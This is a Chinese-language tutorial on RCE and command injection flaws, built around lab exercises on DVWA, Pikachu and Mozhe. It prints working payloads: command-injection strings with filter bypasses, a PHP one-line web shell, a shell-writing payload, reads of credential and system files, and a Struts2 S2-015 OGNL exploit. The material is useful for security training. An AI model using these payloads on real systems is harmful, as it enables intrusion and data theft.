RCE代码及命令执行
字数 1937 2025-08-10 22:27:04
远程代码执行(RCE)与命令执行漏洞详解
1. RCE漏洞概述
1.1 漏洞原理
RCE(Remote Code Execution)漏洞允许攻击者直接向后台服务器远程注入操作系统命令或代码,从而控制后台系统。
1.2 漏洞产生条件
- 调用第三方组件存在的代码执行漏洞
- 用户输入的内容作为系统命令的参数拼接到命令中
- 对用户的输入过滤不严格
- 存在可控变量或漏洞函数
1.3 漏洞挖掘方法
- 网站存在输入IP、调用接口等功能点
- 通常需要配合代码审计或获取源码
- 黑盒测试可使用漏扫工具、公开漏洞信息或手工测试功能点
1.4 漏洞分类
1.4.1 命令执行漏洞
原理:应用系统需要给用户提供指定的远程命令操作接口(如Ping功能),若未严格检测,可能导致攻击者提交恶意命令控制服务器。
危险函数:
- PHP:
exec,shell_exec,system,popen - ASP.NET:
System.Diagnostics.Start.Process,System.Diagnostics.Start.ProcessStartInfo - Java:
java.lang.runtime.Runtime.getRuntime,java.lang.runtime.Runtime.exec
1.4.2 代码执行漏洞
原理:根据设计需求需将用户输入的部分代码进行执行,若控制不严格导致远程代码执行漏洞。
危险函数:
- PHP:
eval,assert,preg_replace(),+/e模式(PHP<5.5.0) - Javascript:
eval - Vbscript:
Execute,Eval - Python:
exec
1.4.3 两者区别
- 命令执行:调用操作系统命令
- 代码执行:调用服务器网站代码
2. 命令执行漏洞详解
2.1 命令执行函数
2.1.1 system函数
<?php
system('pwd'); // 执行结果输出并返回最后一行
?>
2.1.2 exec函数
<?php
exec('pwd', $b); // 不输出结果,返回最后一行
var_dump($b);
?>
2.1.3 passthru函数
<?php
passthru('ls'); // 原样输出结果,无返回值
?>
2.1.4 shell_exec函数
<?php
var_dump(shell_exec('ls')); // 返回执行结果
?>
2.2 命令执行前置知识
2.2.1 Windows基础命令
ping # 测试连通性
tracert # 追踪路由
telnet # 远程连接
dir # 列出目录
ipconfig # 查看IP
arp -a # 查看路由表
calc # 打开计算器
regedit # 打开注册表
netstat -ano # 查看端口信息
2.2.2 Linux基础命令
cd # 切换目录
ls # 显示目录文件
ifconfig # 查看IP
cat /etc/passwd # 查看用户信息
id # 查看用户ID
pwd # 显示当前目录
uname -a # 查看系统版本
netstat -pantu # 查看端口信息
2.2.3 命令拼接符
|:只执行后面的语句||:前面命令失败则执行后面&:前后命令都执行&&:前面为真则执行两条命令;:前后都执行(类似&)
2.3 命令执行案例(DVWA靶场)
2.3.1 Low级别
未过滤输入,可直接使用拼接符:
127.0.0.1 | net user
127.0.0.1 && net user
2.3.2 Medium级别
过滤了&&和;,可使用其他拼接符:
127.0.0.1 & net user
2.3.3 High级别
过滤| (带空格),可绕过:
127.0.0.1|net user # 无空格
2.4 墨者靶场案例
- 判断操作系统(Ubuntu)
- 尝试命令执行失败后抓包修改
- 使用输入重定向读取文件:
cat < key_251322682818227.php
3. 代码执行漏洞详解
3.1 代码执行函数
3.1.1 ${}执行代码
<?php ${phpinfo()}; ?>
3.1.2 eval函数
<?php eval('echo "hello";'); ?>
3.1.3 assert函数
<?php
// 低版本
assert($_POST['a']);
// PHP7.0.29+
$a = 'assert';
$a(phpinfo());
?>
3.1.4 array_map函数
<?php
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
?>
Payload: ?a=assert&b=phpinfo();
3.2 代码执行案例(pikachu靶场)
输入PHP代码直接执行:
phpinfo();
3.3 代码执行漏洞利用
3.3.1 常用利用方式
?txt=@eval($_POST['cmd']);# 一句话木马?txt=print(_FILE_);# 获取绝对路径?txt=var_dump(file_get_contents('c:\\windows\\system32\\drivers\\etc\\hosts'));# 读取文件?txt=var_dump(file_put_contents($_POST[1],$_POST[2]));# 写shell
3.3.2 PHP魔术常量
__LINE__:当前行号__FILE__:完整路径和文件名__DIR__:文件所在目录
3.3.3 读取敏感文件
Windows敏感文件:
C:\boot.ini # 系统版本
C:\windows\system32\inetsrv\MetaBase.xml # IIS配置
C:\windows\repair\sam # 初次安装密码
Linux敏感文件:
/etc/passwd # 用户信息
/etc/httpd/conf/httpd.conf # Apache配置
/etc/my.cnf # MySQL配置
3.3.4 一句话木马
<?php
if(isset($_GET['a'])){
eval($_GET['a']);
}
?>
利用:?a=@eval($_POST['cmd']),使用蚁剑连接
3.3.5 写Shell
?a=var_dump(file_put_contents($_POST[1],$_POST[2]));
POST数据:1=info.php&2=<?php phpinfo();?>
3.3.6 墨者靶场(Struts2漏洞)
利用S2-015漏洞执行命令:
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat key.txt').getInputStream()),#q}.action
4. 防御措施
- 禁用敏感函数
- 对用户输入进行严格过滤
- 使用WAF产品防护
- 最小权限原则运行服务
5. 总结
RCE漏洞危害极大,开发时应避免直接执行用户输入,对危险函数进行严格限制。测试时需了解不同系统的命令差异和绕过技巧,同时掌握多种利用方式以便应对不同场景。